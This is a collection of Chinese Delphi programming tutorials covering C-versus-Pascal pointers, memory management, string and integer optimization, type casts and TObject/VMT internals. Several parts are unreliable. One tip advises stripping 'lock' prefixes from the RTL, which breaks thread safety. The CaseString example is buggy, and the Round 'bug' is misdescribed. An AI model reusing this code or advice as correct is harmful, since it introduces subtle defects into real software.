二、无类型指针的定义。C中有void *类型，也就是可以指向任何类型数据的指针。Object Pascal为其

定义了一个专门的类型：Pointer。于是，

ptr : Pointer;

就与C中的

void *ptr;

等价了。

三、指针的解除引用。要解除指针引用（即取出指针所指区域的值），C 的语法是 (*ptr)，Object

Pascal则是 ptr^。

四、取地址（指针赋值）。取某对象的地址并将其赋值给指针变量，C 的语法是

ptr = &Object;

Object Pascal 则是

ptr := @Object;

也只是符号的差别而已。

五、指针运算。在C中，可以对指针进行移动的运算，如：

char a[20];

char *ptr=a;

ptr++;

ptr+=2;

当执行ptr++;时，编译器会产生让ptr前进sizeof(char)步长的代码，之后，ptr将指向a

[1]。ptr+=2;这句使得ptr前进两个sizeof(char)大小的步长。同样，我们来看一下Object Pascal中如何实

现：

var

a : array [1..20] of Char;

ptr : PChar; //PChar 可以看作 ^Char

begin

ptr := @a;

Inc(ptr); // 这句等价于 C 的 ptr++;

Inc(ptr, 2); //这句等价于 C 的 ptr+=2;

end;

只是，Pascal中，只允许对有类型的指针进行这样的运算，对于无类型指针是不行的。

六、动态内存分配。C中，使用malloc()库函数分配内存，free()函数释放内存。如这样的代码：

int *ptr, *ptr2;

int i;

ptr = (int*) malloc(sizeof(int) * 20);

ptr2 = ptr;

for (i=0; i<20; i++){

*ptr = i;

ptr++;

}

free(ptr2);

Object Pascal中，动态分配内存的函数是GetMem()，与之对应的释放函数为FreeMem()（传统

Pascal中获取内存的函数是New()和 Dispose()，但New()只能获得对象的单个实体的内存大小，无法取得连

续的存放多个对象的内存块）。因此，与上面那段C的代码等价的Object Pascal的代码为：

var ptr, ptr2 : ^integer;

i : integer;

begin

GetMem(ptr, sizeof(integer) * 20);

//这句等价于C的 ptr = (int*) malloc(sizeof(int) * 20);

ptr2 := ptr; //保留原始指针位置

for i := 0 to 19 do

begin

ptr^ := i;

Inc(ptr);

end;

FreeMem(ptr2);

end;

对于以上这个例子（无论是C版本的，还是Object Pascal版本的），都要注意一个问题，就是分配

内存的单位是字节（BYTE），因此在使用GetMem时，其第二个参数如果想当然的写成 20，那么就会出问题

了（内存访问越界）。因为GetMem(ptr, 20);实际只分配了20个字节的内存空间，而一个整形的大小是四个

字节，那么访问第五个之后的所有元素都是非法的了（对于malloc()的参数同样）。

七、字符数组的运算。C语言中，是没有字符串类型的，因此，字符串都是用字符数组来实现，于是也

有一套str打头的库函数以进行字符数组的运算，如以下代码：

char str[15];

char *pstr;

strcpy(str, "teststr");

strcat(str, "_testok");

pstr = (char*) malloc(sizeof(char) * 15);

strcpy(pstr, str);

printf(pstr);

free(pstr);

而在Object Pascal中，有了String类型，因此可以很方便的对字符串进行各种运算。但是，有时

我们的Pascal代码需要与C的代码交互（比如：用Object Pascal的代码调用C写的DLL或者用Object Pascal

写的DLL准备允许用C写客户端的代码）的话，就不能使用String类型了，而必须使用两种语言通用的字符数

组。其实，Object Pascal提供了完全相似C的一整套字符数组的运算函数，以上那段代码的Object Pascal

版本是这样的：

var str : array [1..15] of char;

pstr : PChar; //Pchar 也就是 ^Char

begin

StrCopy(@str, 'teststr'); //在C中，数组的名称可以直接作为数组首地址指针来用

//但Pascal不是这样的，因此 str前要加上取地址的运算符

StrCat(@str, '_testok');

GetMem(pstr, sizeof(char) * 15);

StrCopy(pstr, @str);

Write(pstr);

FreeMem(pstr);

end;

八、函数指针。在动态调用DLL中的函数时，就会用到函数指针。假设用C写的一段代码如下：

typedef int (*PVFN)(int); //定义函数指针类型

int main()

{

HMODULE hModule = LoadLibrary("test.dll");

PVFN pvfn = NULL;

pvfn = (PVFN) GetProcAddress(hModule, "Function1");

pvfn(2);

FreeLibrary(hModule);

}

就我个人感觉来说，C语言中定义函数指针类型的typedef代码的语法有些晦涩，而同样的代码在

Object Pascal中却非常易懂：

type PVFN = Function (para : Integer) : Integer;

var

fn : PVFN;

//也可以直接在此处定义，如：fn : function (para:Integer):Integer;

hm : HMODULE;

begin

hm := LoadLibrary('test.dll');

fn := GetProcAddress(hm, 'Function1');

fn(2);

FreeLibrary(hm);

end;


内存使用和对象创建的一个问题

procedureForm1.Button1Click(Sender:TObject);

var

MyStringList:TStringList;

begin

MyStringList:=TStringList.Create;

MyStringList.Assign(ListBox1.Items);

end;

如果你回答说"没有释放TStringList的实例"，这就对了。虽然这不会导致程序失败或崩溃，但它会吃掉内存，因为每次调用这个方法时，都会创建一个TStringList的实例，从而导致内存不足。尽管Win32API能够在一个进程终止时释放它所分配的内存，但在运行时出现内存不足也会导致严重问题。例如，如果一个应用程序在运行时不断地耗费越来越多的内存资源，导致操作系统不得不进行更多的磁盘交换，最终使系统不堪负担。当你在运行期间创建一个组件时，必须向组件的Create构造器传递组件的拥有关系；它被设置为新组件的Owner属性。下面一行语句表示了如何向TButton.Create()构造器传递窗口隐含的参数Self。这样使窗口成为新创建组件的拥有者：

Button:=TButton.Create(Self);

当窗口被析构时，与MyButton有关的TButton实例也会被析构。这是在VCL内部处理的。实质上，窗口再次通过Components数组属性遍历组件并析构它们。通过传递nil给组件的Create()方法，可以创建一个不具备拥有者的组件。不过，如果这样做了，编程时你需要负责组件的删除。下列代码显示了这个技术：

Button:=TButton.Create(nil);

try

....

finally

Button.Free;

end;

要使用这个技术，应当用一个try...finally块来确保出现异常时释放所分配的资源。你不应使用这个技术，除非特殊情况-不能给组件指定拥有者。


改变常量变量的值

procedure ChangeConst(const Constant; var Value; Size: Integer);

begin

Move((@Value)^, (@Constant)^, Size);

end;

// How to use ChangeConst: (Sample)

procedure TForm1.Button1Click(Sender: TObject);

const

TestStrConst : string = 'This is a text sample';

TestInteger : Integer = 4367;

var

NewString : string;

NewInteger : Integer;

begin

// String Demo:

ShowMessage('Before ChangeStringConst (TestStrConst): ' + TestStrConst);

NewString := 'New Value';

ChangeConst(TestStrConst, NewString, SizeOf(string));

ShowMessage('After ChangeStringConst (TestStrConst): ' + TestStrConst);

// Integer Demo:

ShowMessage('Before ChangeStringConst (TestInteger): ' + IntToStr(TestInteger));

NewInteger := 93534;

ChangeConst(TestInteger, NewInteger, SizeOf(Integer));

ShowMessage('After ChangeStringConst (TestInteger): ' + IntToStr(TestInteger));

end;


With的问题

with xxx do

begin

aaa:=....;

bbb:=....;

end;

的形式与

xxx.aaa:=...;

xxx.bbb:=...;

二者有什么本质的不同吗？ 执行效率有区别吗？

ft ，你不是有那本Delphi大富翁的书吗 ，上面不是说了前者快而后者慢吗？后者的xxx.bbb要进行xxx的寻址然后 ，加上bbb的偏移量才能计算出xxx.bbb地址 ，显然慢了 ，with了以后xxx的寻址就不用了，直接加偏移量就可以了，少了一次寻址的说。


一些有趣的东西

来自于zswang：

No.1 Delphi中的Include文件

begin

ShowMessage({$I File1.txt}; //有错吗？

ShowMessage(UpperCase({$I File1.txt});

end;

//新建一个文本文件“File1.txt”、内容填写为:“'Hello Word')”看看

No.2 可爱的强制转换

var B: Byte

begin

Char(B) := 'A'; //我们通常写 B := Byte('A');

end;

No.3 常量表达式的下标

Catpion := '你'[1] + '好'[2]; //是什么？

No.4 脱字号表达的字符

Caption := ^:^3^7^!^.^'; //这句可以没有写错

参考

http://www.csdn.net/Expert/TopicView1.asp?id=658958

No.5 非整数类型作下标

var A: array[Char] of Byte; //估计很多人都知道

No.6 Inc()不只处理整数加一

var C: Char;

begin

C := 'A';

Inc(C); //没错吧

end;

No.7 "X[:X[:X]]"格式

var S: string;

begin

Str(123456.7890:0:2, S); //直接学Delphi的人大多数不会知道

Caption := S;

end;

No.8 系统提示、可以好好利用

begin

{$MESSAGE HINT '看一看'}

end;


Delphi 代码优化-字符串篇

Delphi 代码优化——字符串篇

关键词：delphi, anisstring, pchar

freewizard

delphi有三种字符串类型：短字符串(string[n],n=1..255)存储区为静态分配，大小在编译时确定，这是继承于bp for dos的类型；字符数组(pchar)主要是为了兼容各类api，在bp7中已经出现，如今在delphi中更加应用广泛，其存储区可以用字符数组静态分配，也可用getmem手动分配；而长字符串(ansistring)是delphi独有的，其存储区在运行时动态分配，最灵活也最易被滥用。

不重复初始化

delphi默认字符串类型ansistring会自动初始化为空。如下代码：

var s:string；

begin

s:='';

……

end;

s:='';就属多此一举。但是值得注意的是这对函数返回值result无效。而一般说来，用var实参传递比返回字符串值要更快一些。

使用setlength预分配长字符串（ansistring）

动态分配内存是ansistring的一大长项，但容易弄巧成拙，一个典型的例子如下：

s2:=' ';

for i:=2 to length(s1) do s2:=s2+s1[i];

且不说可用delete取代之，主要问题在于上例的循环中s2的内存区域被不停地重复分配，相当费时。一个简单有效的办法如下：

setlength(s2,length(s1)-1);

for i:=2 to length(s1) do s2[i-1]:=s1[i];

这样s2内存只会重新分配一次。

字符串与动态数组的线程安全(thread safety)

在delphi 5以前动态数组与长字符串的操作这些非线程安全调用是由引用计数来处理其临界问题的，而自delphi5起就改为直接在一些临界指令前加lock指令前缀来避免这个问题。不幸的是这一修改的代价相当昂贵，因为在pentiumⅱ处理器中lock指令相当费时，大概要耗费额外的28个指令周期来完成这一操作，因而整体效率至少下降一半。

解决这个问题的办法只有一个，那就是修改delphi rtl核心代码。在备份原文件后，将source.pas中所有的lock替换为{lock}，当然必须是整字替换。

如此还未完全优化，下一步是将delphi4运行库中也有的xchg指令去掉，因为该指令有隐含的lock前缀，所以必须将system.pas内_lstrasg和_strlasg两个过程中的 xchg edx,[eax] 替换为如下代码：

mov ecx,[eax]

mov [eax],edx

mov edx,ecx

ok大功告成，编译一下，覆盖system.dcu即可。如此其执行效率将比delphi5提高6倍，比delphi4提高2倍。

避免使用短字符串

由于很多字符串操作会先把短字符串转换为长字符串，从而减慢了执行速度，因此还是少使用短字符串为妙。

避免使用copy函数

这也和滥用内存管理有关。一个典型的情形如下：

if copy(s1,23,64)=copy(s2,15,64) then ……

这样导致分配了两块临时内存，因而降低了效率。应当替换为如下代码：

i:=0;

f:=false;

repeat

f:=s1[i+23]<>s2[i+15];

inc(i);

until f or (i>63);

if not f then ……

同样的，如下语句就显得相当低效：

s:=copy(s,1,length(s)-10);

应改为

delete(s,length(s)-10,10);

顺便提一句，在连接字符串时，s:=s1+s2;简单而有效；但在delphi2下则s:=format([%s%s],s1,s2);可能稍快些。

总是使用长字符串，必要时转换为pchar

先看看ansistring的定义：

type

astring = packed record

allocsiz: longint; //动态分配大小

refcnt: longint; //引用计数

length: longint; //实际长度

chrarr:array[1..allocsiz-6]of char; //字节序列

end;

其中astring[1]将返回astring.chrarr[1]的内容。

很多人认为ansistring是天生低效的。其实这在很大程度上是由代码编写不良、内存管理乱用和缺乏支持的函数所致。如上所述，一旦被动态分配了一块内存，长字符串就成了一个线性的字节序列，并无所谓的效率问题。当然，若有更多有效的函数支持那就更好了。

说到ansistring到pchar的转换，本质上有三个办法：

(1) p:=@s[1];这会引发uniquestring调用。

(2) p:=pchar (s);这会先检查s是否为空，若是，则返回nil,否则即返回s[1]的地址。

(3) p:=pointer(s);这不会引发任何隐含调用，因而是在确定s非空情况下的最佳选择。


Delphi代码优化-整数篇

Delphi代码优化（二） 整数篇

尽量使用32位变量

在32位代码中，32位变量是默认处理格式；16位变量（word，shortint，widechar）的运算会令处理器临时切换为16位处理模式，因而需要双倍的处理时间；相较之下，8位变量（byte，char）只要不与其它混用，却不会太慢。如果实在需要多次使用一个8或16位变量，可以考虑把它临时转换成32位变量，这只需要一步赋值：ADWord:=Aword;

避免使用子域类型

Pascal语言的一大优势便是其丰富的数据类型，Delphi之Object Pascal继承了这一传统，枚举和子域类型即属此类。但不幸的是，他们会为优化带来麻烦，因为它们的占用的字节数取决于其子域的大小。比如一个元素数不超过256个的枚举类型会占用1个字节，而例如MyYear=1900..2000则会占用两个字节，而如前文所述，16位变量是很慢的。

简化表达式

过于复杂的表达式会妨碍编译器的自动优化，这时可以考虑引入临时变量来化简表达式，这样可能（！）可以得以优化，更重要的是提高了代码的可读性。

不再畏惧乘法

PII出现以前，乘法运算是相当费时的，以至于当时的经典优化方法便是把一类特殊的乘法转变为移位运算和加法。而今，在作为标准配置的PII上，乘法和多数其它运算一样，只需要一个指令周期即可完成。当然Delphi编译器仍然会把诸如*2之类的运算优化为shl 1，这也不坏，不是吗？

临时子域类型

才揭过子域类型的短，又来说它的妙用:-p 但这也不是真正的子域类型，不过是形式上相似罢了。像以下的语句：

if ((x>=0) and (x=<10)) or ((x>=20) and (x<=30)) then …

可以改写为：

if x in [0..10,20..30] then …

子域数越多，优化效果越明显。不过除了在NOI题目里以外，天下可没有免费馅饼，这回的代价是占用一个临时寄存器。

movzx 与 xor/mov

这是读入小于32位数据的两种不同方法，后者在PII以前更具优势，而前者在PII上因其乱序执行的特性而显得更有效率。编译器对此的取舍规则似乎很复杂，必要时还是自己用嵌入汇编好了。

大整数运算

对付大整数（超过32位的），你有四种武器（为什么不是七种？问Borland，别来问我）--int64、comp、double和extended。其中除了64位整数类型int64外，其余都是浮点数，其运算都是由FPU指令实现的。这其中的comp类型，存储结构同int64一模一样，按照Borland的官方说法，comp类型已经过时，应当被int64所取代，理由很简单--整数运算总比浮点快吧。然而根据一项在PII上进行的测试，int64除了在加减运算中具有无可比拟的优势外，在乘除方面，竟比浮点数还慢！

好在还有老当益壮的comp，只是稍有些繁琐。

首先将变量声明为int64，并声明两个辅助元：

var

a,b,c,d,e: int64;

ca:comp absolute a;

cc:comp absolute c;

加减法不用变，除法就如下处理：

c:=trunc(ca/b); //is faster than c:= a div b

乘法这么来：

e:=round(ca*b+cc*d); //is faster than e:=a*b+c*d;

From:Delphi仓库


巧妙使用DownTo代替To

有的时候，例如：

for i:=0 to ListBox1.Items.Count-1 do

if ListBox1.Selected[i] then

ListBox1.Items.Delete(i);

会出现错误！

用Downto 代替就行了。

for i:=listbox1.Items.Count-1 downto 0 do

if listbox1.Selected[i] then

listbox1.Items.Delete(i);


Case语句的串检索

case结构不支持了符串检索，怎么办

do like this:

const

strArray : array [0..10] of string =(['str0', 'str1', 'str2', ...);

for i := 0 to 10 do

if strArray[i] = str then

case i of

0: do str1 thing

1: do str1 thing

2:

...

end;

*****************

function CaseString (const s: string; // Search for

ci: Boolean;

// if true looking case insensitive

p: Boolean;

// if true looking if s is in the compared string

const x: array of string): Integer;

var i: Integer;

s1, s2: string;

begin

Result:= -1;

for i:= Low (x) to High (x) do begin

s1:= s; s2:= x[i];

if ci then begin

AnsiUpperCase(s1);

AnsiUpperCase(s2);

end;

if p then begin

if Pos (s1, s2) > 0 then begin Result:= i; Exit; end;

end else begin

if s1 = s2 then begin Result:= i; Exit; end;

end;

end;

end;

调用：

search:= 'delphi3000';

case CaseString (search, ['delphi3000',

'delphipages',

'Torry's']) of

0: s:= 'Excellent!';

1: s:= 'Good source';

2: s:= 'Not bad!';

end;

***************************************************

uses

TypInfo;

type

TNumericChoiceParent = (ncp_Mother, ncp_Father, ncp_Child);

procedure TForm1.btChooseClick(Sender: TObject);

var

S: string;

begin

S := InputEdit.Text;

case TNumericChoiceParent(GetEnumValue(TypeInfo(TNumericChoiceParent), 'ncp_' + S)) of

ncp_Mother: ShowMessage('Hello Mom :o)');

ncp_Father: ShowMessage('Hi, Dad -]');

ncp_Child: ShowMessage('Shut up and eat your soup !-(');

else

ShowMessage('Who do you think that you are?');

end;

end;


类型强制和转换

类型强制，不是类型转换哦，Delphi的帮助主题：typecasts!

Delphi的类型转换

关键词：Delphi控件杂项

    Delphi是一种强类型转换的语言。在VC中，赋值符用″=″,例如x=1;到了Delphi赋值符就变成了″:=″,例如x:=1。 从赋值时用符号″:=″而不用″=″,就隐约可见Delphi对类型匹配要求之严,即赋值符右边的类型一定要和左边一致。用惯了VB或VC的程序员,初用Delphi,稍不留神,就会出现类型不匹配的错误。对初学者而言,类型转换也是学习Delphi的重点和难点,为此本文特对Delphi的类型转换做一总结,以供读者参考。

一、数的类型转换

    把表达式的类型从一种类型转化为另一种类型,结果值是把原始值截断或扩展,符号位保持不变。例如:

数的类型转换 举例

字符转换为整数 Integer('A')

整数转换为字符 Char(48)

整数转换为1个字节的逻辑型 Boolean(0)

整数转换为2个字节的逻辑型 WordBool(0)

整数转换为4个字节的逻辑型 LongBool(0)

整数转换为10进制pascal型字符串 caption:=intToStr(15)

整数转换为16进制pascal型4位字符串 caption:=intToHex(15,4)

地址转换为长整型数 Longint(@Buffer)

二、数的“分开”与“合成”

取32位longint型数的 高16位数为 hiword(longint－var)

低16位数为 loword(longint－var)

取16位数的 高8位数为 hibyte(integer_var)

低8位数为 lobyte(integer_var)

取32位地址的段选择符和偏移量 段选择符(高16位地址)为 selectorof(p)

偏移量(低16位地址)为 offsetof(p)

段选择符和偏移量合成为指针 　 Ptr(SEG, OFS: Word)相当于C语言的宏MK－FP(SEG,OFS)

例如在Windows中,Task DataBase结构0FAh偏移处包含'TD'标识,我们可以容易地编写如下代码观察到这个位于Windows内部的未公开的秘密:

    {函数ptr(seg,ofs)的用法,相当于C语言的MK－FP(seg,ofs)}

    var p:pbyte;ch:char;

    p:=ptr(getcurrentTask,＄FA);

    ch:=char(p^); {结果为ch='T'}

    p:=ptr(getcurrentTask,＄FA+1);

    ch:=char(p^); 　　{结果为ch='D'}

三、字符串string 字符数组与指向字

    符串的指针pchar的区别与联系

    这3者的基本概念相同,但有一些非常细微的差别,在编程时稍不注意就会出错,需高度重视。

    1、使用指向字符串的指针,如果不是以0结尾,运行时就会出现错误。为了避免这种错误,需要在字符串结尾人工加入0 即char(0),或用strpcopy函数在字符串结尾自动加0。

    例1: 指向字符串的指针,如果不是以0结尾,运行时会出现错误:

    {s[0]=3 s[1]='n' s[2]='e' s[3]='w'}

    var

    s:string;

p:pchar;

    begin

    s:='new';

   label1.caption:=s; {new}

  label2.caption:=intTostr(integer(s[0]));{3是字符串的长度}

    p:=@s[1];{不是以0结尾,莫用pchar型指针}

     label3.caption:=strpas(p); {运行时出现错误}

    end;

    例2:在字符串结尾人工加入0即char(0),可使用指向字符串的指针。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:string;

p:pchar;

    begin

    p:=@s[1];

    s:='new'+char(0); {以0结尾,可用pchar型指针}

    label1.caption:=strpas(p); {new}

    label2.caption:=s; {new}

     label3.caption:=intTostr(integer(s[0])); {4是字符串长度}

    end;

    例3: 用strpcopy函数赋值会在字符串s结尾自动加0。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:string;

p:pchar;

    begin

    p:=@s[1];

  strpcopy(p,'new');{strpcopy函数在字符串结尾自动加0}

    label1.caption:=strpas(p);{new}

     label2.caption:=s;{new}

    label3.caption:=intTostr(integer(s[0]));{4}

    end;

    2、下标为0的字符串标识符存放的是字符串长度,字符型数组基本相当于字符串,但不能存放字符串长度。字符串可以用s:='a string'的形式赋值,但是字符型数组a[ ]不可直接用a:='array'的形式赋值,用此种形式会出现类型不匹配错误,可选用strpcopy函数赋值。

    例4: 字符型数组s[ ]相当于字符串,但没有存放字符串长度的位置。

    {s[1]='n' s[2]='e' s[3]='w' s[4]=0;}

    {p－－>'new'}

    var

s:array[1..10] of char;

p:pchar;

    begin

    {s:='new'+char(0); error}{错误}

    p:=@s[1];

    {p:=@s; is not correct}

    strpcopy(p,'new');

    label1.caption:=strpas(p);{new}

    label2.caption:=s;{new}

     {label3.caption:=intTostr(integer(s[0]));}{不会出现4, 下标超出错误}

    end;

    例5:下标从0开始的字符数组s,s相当于@s[0]。

    { s[0]='n' s[1]='e' s[2]='w' s[3]=0;}{p－－>'new'}

    var

s:array[1..10] of char;

p:pchar;

    begin

    {s:='new'+char(0); error}{错误}

   p:=s;

    {p:=@s[0] is also correct}

    strpcopy(p,'new');

    label1.caption:=strpas(p);{new}

    label2.caption:=s;{new}

    label3.caption:=s[0];{n}

end;

    3、下标从0开始和从1开始的字符数组地址的表示方法也有细微不同:

    例6:下标从1开始的数组a 与下标从0开始的数组b 的比较。

    var

a:array[1..10]of char;

b:array[0..10]of char;

    {a:='1..10';}{type mismatch}

    {b:='0..10';}{type mismatch}

begin

    strpcopy( b, 'from 0 to 10'); {正确 因为b即是@b[0] }

    strpcopy(@b[0], 'from 0 to 10'); {正确 与上个表达式结果相同}

    strpcopy(@a[1], 'from 1 to 10'); {正确 }

    strpcopy( a, 'from 1 to 10'); {类型匹配错误 因为a即是@a[0]}

end;


四舍五入的BUG

Delphi的四舍五入函数Round有BUG，无法正常工作。

对于XXX.5的情况，整数部分是奇数，那么会Round Up，偶数会Round Down，例如：

x:= Round(17.5) = x = 18

x:= Round(12.5) = x = 12

请使用下面的函数代替Round：

function DoRound(Value: Extended): Int64;

procedure Set8087CW(NewCW: Word);

asm

MOV Default8087CW,AX

FNCLEX

FLDCW Default8087CW

end;

const

RoundUpCW = $1B32;

var

OldCW : Word;

begin

OldCW := Default8087CW;

try

Set8087CW(RoundUpCW);

Result := Round(Value);

finally

Set8087CW(OldCW);

end;

end;


何使用Delphi中的TParser语法分析器类

如何使用Delphi中的TParser语法分析器类

何使用Delphi中的TParser语法分析器类

如何进行词法分析？

Newsgroups: comp.lang.pascal.delphi.misc

Subject: Re: How do I use Tparser?

From: jbui@scd.hp.com (Joseph Bui)

Date: 31 Jul 1995 22:15:29 GMT

To do what you want with Tparser, do:

procedure ParseFile(const AFileName: string);

var FS: TFileStream; AP: Tparser;

begin

FS:=TFileStream.Create(AFileName, fmOpenRead);

AP:=Tparser.Create(FS);

with AP do

repeat

case Token of

#1 : {Token is a pascal identifier}

{retreive with TokenString}

#2 : {Token is a pascal string ie. 'blah' or #<number>}

{retreive with TokenString}

#3 : {Token is a pascal integer in decimal or hex}

{Retreive with TokenInt}

#4 : {Token is a pascal floating point}

{retreive with TokenFloat}

else

{Token is a single character token, such as a comma}

{retreive with Token or TokenString}

until NextToken = #0; {#0 mean End Of File}

AP.Free;

FS.Free;

end;

The TokenInt and TokenFloat routines cause errors when you try

and use them on non-compatible tokens. Also, the detection of

integers/floats is flawed, so ".e" comes back as a floating

point, and "$$$$$" comes back as an integer (a hex number).

You can't go backwards, and if some sort of error occurs, you are

pretty much screwed. Thus I suggest you find and use my

objects. If you can't find them, email me, and I'll send you

a copy.


第二章 DELPHI的原子世界

第二章 DELPHI的原子世界

在使用DELPHI开发软件的过程中，我们就像草原上一群快乐牛羊，无忧无虑地享受着Object Pascal语言为我们带来的阳光和各种VCL控件提供的丰富的水草。抬头望望无边无际蔚蓝的天空，低头品尝大地上茂密的青草，谁会去想宇宙有多大，比分子和原子更小的东西是什么？那是哲学家的事。而哲学家此时正坐在高高的山顶上，仰望宇宙星云变换，凝视地上小虫的爬行，蓦然回头，对我们这群吃草的牛羊点头微笑。随手扯起一根小草，轻轻地含在嘴里，闭上眼睛细细品尝，不知道这根青草在哲学家的嘴里是什么味道？只是，他的脸上一直带着满意的微笑。

认识和了解DELPHI微观的原子世界，可以使我们彻底理解DELPHI的宏观应用程序结构，从而在更广阔的思想空间中开发我们的软件。这就好像，牛顿发现了宏观物体的运动，却因为搞不清物体为什么会这样运动而苦恼，相反，爱因斯坦却在基本粒子规律和宏观物体运动之间体验着相对论的快乐生活！

第一节 TObject原子

TObject是什么？

是Object Pascal语言体系结构的基本核心，也是各种VCL 控件的起源。我们可以认为，TObject是构成DELPHI应用程序的原子之一，当然，他们又是由基本Pascal语法元素等更细微的粒子构成。

说TObject是DELPHI程序的原子，是因为TObject是DELPHI编译器内部支持的。所有的对象类都是从TObject派生的，即使你并未指定TObject为祖先类。TObject被定义在System单元，它是系统的一部分。在System.pas单元的开头，有这样的注释文本：

{ Predefined constants, types, procedures, }

{ and functions (such as True, Integer, or }

{ Writeln) do not have actual declarations.}

{ Instead they are built into the compiler }

{ and are treated as if they were declared }

{ at the beginning of the System unit. }

它的意思说，这一单元包含预定义的常量、类型、过程和函数（诸如：Ture、Integer或Writeln），它们并没有实际的声明，而是编译器内置的，并在编译的开始就被认为是已经声明的定义。你可以将Classes.pas或Windows.pas等其他源程序文件加入你的项目文件中进行编译和调试其源代码，但你绝对无法将System.pas源程序文件加入到你的项目文件中进行编译！DELPHI将报告重复定义System的编译错误！ 因此，TObject是编译器内部提供的定义，对于我们使用DELPHI开发程序的人来说，TObject是原子性的东西。 TObject在System单元中的定义是这样的：

TObject = class

constructor Create;

procedure Free;

class function InitInstance(Instance: Pointer): TObject;

procedure CleanupInstance;

function ClassType: TClass;

class function ClassName: ShortString;

class function ClassNameIs(const Name: string): Boolean;

class function ClassParent: TClass;

class function ClassInfo: Pointer;

class function InstanceSize: Longint;

class function InheritsFrom(AClass: TClass): Boolean;

class function MethodAddress(const Name: ShortString): Pointer;

class function MethodName(Address: Pointer): ShortString;

function FieldAddress(const Name: ShortString): Pointer;

function GetInterface(const IID: TGUID; out Obj): Boolean;

class function GetInterfaceEntry(const IID: TGUID): PInterfaceEntry;

class function GetInterfaceTable: PInterfaceTable;

function SafeCallException(ExceptObject: TObject; ExceptAddr: Pointer): HResult; virtual; procedure AfterConstruction; virtual;

procedure BeforeDestruction; virtual;

procedure Dispatch(var Message); virtual;

procedure DefaultHandler(var Message); virtual;

class function NewInstance: TObject; virtual;

procedure FreeInstance; virtual;

destructor Destroy; virtual;

end;

下面，我们将逐步敲开TObject原子的大门，看看里面到底是什么结构。

我们知道，TObject是所有对象的基本类，那么，一个对象到底是什么？ DELPHI中的任何对象都是一个指针，这个指针指明该对象在内存中所占据的一块空间！虽然，对象是一个指针，可是我们引用对象的成员时却不用写成这样的代码MyObject^.GetName，而只能写成MyObject.GetName，这是Object Pascal语言扩充的语法，是由编译器支持的。使用C++ Builder的朋友就很清楚对象与指针的关系，因为在C++ Builder的对象都要定义为指针。对象指针指向的地方就是对象存储数据的对象空间，我们来分析一下对象指针指向的内存空间的数据结构。

对象空间的头4个字节是指向该对象类的虚方法地址表（VMT - Vritual Method Table）。接下来的空间就是存储对象本身成员数据的空间，并按从该对象最原始祖先类的数据成员到该对象类的数据成员的总顺序，和每一级类中数据成员的定义顺序存储。

类的虚方法地址表（VMT）保存从该类的原始祖先类派生到该类的所有类的虚方法的过程地址。类的虚方法，就是用保留字vritual声明的方法，虚方法是实现对象多态性的基本机制。虽然，用保留字dynamic声明的动态方法也可实现对象的多态性，但这样的方法不保存在虚方法地址表（VMT）中，它只是Object Pascal提供的另一种可节约类存储空间的多态实现机制，但却是以牺牲调用速度为代价的。

即使，我们自己并未定义任何类的虚方法，但该类的对象仍然存在指向虚方法地址表的指针，只是地址项的长度为零。可是，在TObject中定义的那些虚方法，如Destroy、FreeInstance等等，又存储在什么地方呢？原来，他们的方法地址存储在相对VMT指针负方向偏移的空间中。其实，在VMT表的负方向偏移76个字节的数据空间是对象类的系统数据结构，这些数据结构是与编译器相关的，并且在将来的DELPHI版本中有可能被改变。

因此，你可以认为，VMT是一个从负偏移地址空间开始的数据结构，负偏移数据区是VMT的系统数据区，VMT的正偏移数据是用户数据区（自定义的虚方法地址表）。TObject中定义的有关类信息或对象运行时刻信息的函数和过程，一般都与VMT的系统数据有关。

一个VMT数据就代表一个类，其实VMT就是类！在Object Pascal中我们用TObject、TComponent等等标识符表示类，它们在DELPHI的内部实现为各自的VMT数据。而用class of保留字定义的类的类型，实际就是指向相关VMT数据的指针。

对我们的应用程序来说，VMT数据是静态的数据，当编译器编译完成我们的应用程序之后，这些数据信息已经确定并已初始化。我们编写的程序语句可访问VMT相关的信息，获得诸如对象的尺寸、类名或运行时刻的属性资料等等信息，或者调用虚方法或读取方法的名称与地址等等操作。

当一个对象产生时，系统会为该对象分配一块内存空间，并将该对象与相关的类联系起来，于是，在为对象分配的数据空间中的头4个字节，就成为指向类VMT数据的指针。

我们再来看看对象是怎样诞生和灭亡的。看着我三岁的儿子在草地上活蹦乱跳，正是由于亲眼目睹过生命的诞生过程，我才能真真体会到生命的意义和伟大。也只有那些经历过死别的人，才会更加理解和珍惜生命。那么，就让我们理解一下对象的产生和消亡的过程吧！

我们都知道，用下面的语句可以构造一个最简单对象：

AnObject := TObject.Create;

编译器将其编译实现为：

用TObject对应的VMT为依据，调用TObject的Create构造函数。而在Create构造函数调用了系统的ClassCreate过程，系统的ClassCreate过程又通过存储在类VMT调用NewInstance虚方法。调用NewInstance方法的目的是要建立对象的实例空间，因为我们没有重载该方法，所以，它就是TObject类的NewInstance。TObjec类的NewInstance方法将根据编译器在VMT表中初始化的对象实例尺寸（InstanceSize），调用GetMem过程为该对象分配内存，然后调用InitInstance方法将分配的空间初始化。InitInstance方法首先将对象空间的头4个字节初始化为指向对象类对应VMT的指针，然后将其余的空间清零。建立对象实例之后，还调用了一个虚方法AfterConstruction。最后，将对象实例数据的地址指针保存到AnObject变量中，这样，AnObject对象就诞生了。

同样，用下面的语句可以消灭一个对象：

AnObject.Destroy;

TObject的析构函数Destroy被声明为虚方法，它也是系统固有的虚方法之一。Destory方法首先调用了BeforeDestruction虚方法，然后调用系统的ClassDestroy过程。ClassDestory过程又通过类VMT调用FreeInstance虚方法，由FreeInstance方法调用FreeMem过程释放对象的内存空间。就这样，一个对象就在系统中消失。

对象的析构过程比对象的构造过程简单，就好像生命的诞生是一个漫长的孕育过程，而死亡却相对的短暂，这似乎是一种必然的规律。

在对象的构造和析构过程中，调用了NewInstance和FreeInstance两个虚函数，来创建和释放对象实例的内存空间。之所以将这两个函数声明为虚函数，是为了能让用户在编写需要用户自己管理内存的特殊对象类时（如在一些特殊的工业控制程序中），有扩展的空间。

而将AfterConstruction和BeforeDestruction声明为虚函数，也是为了将来派生的类在产生对象之后，有机会让新诞生的对象呼吸第一口新鲜空气，而在对象消亡之前可以允许对象完成善后事宜，这都是合情合理的事。其实，TForm对象和TDataModule对象的OnCreate事件和OnDestroy事件，就是在TForm和TDataModule重载的这两个虚函数过程分别触发的。

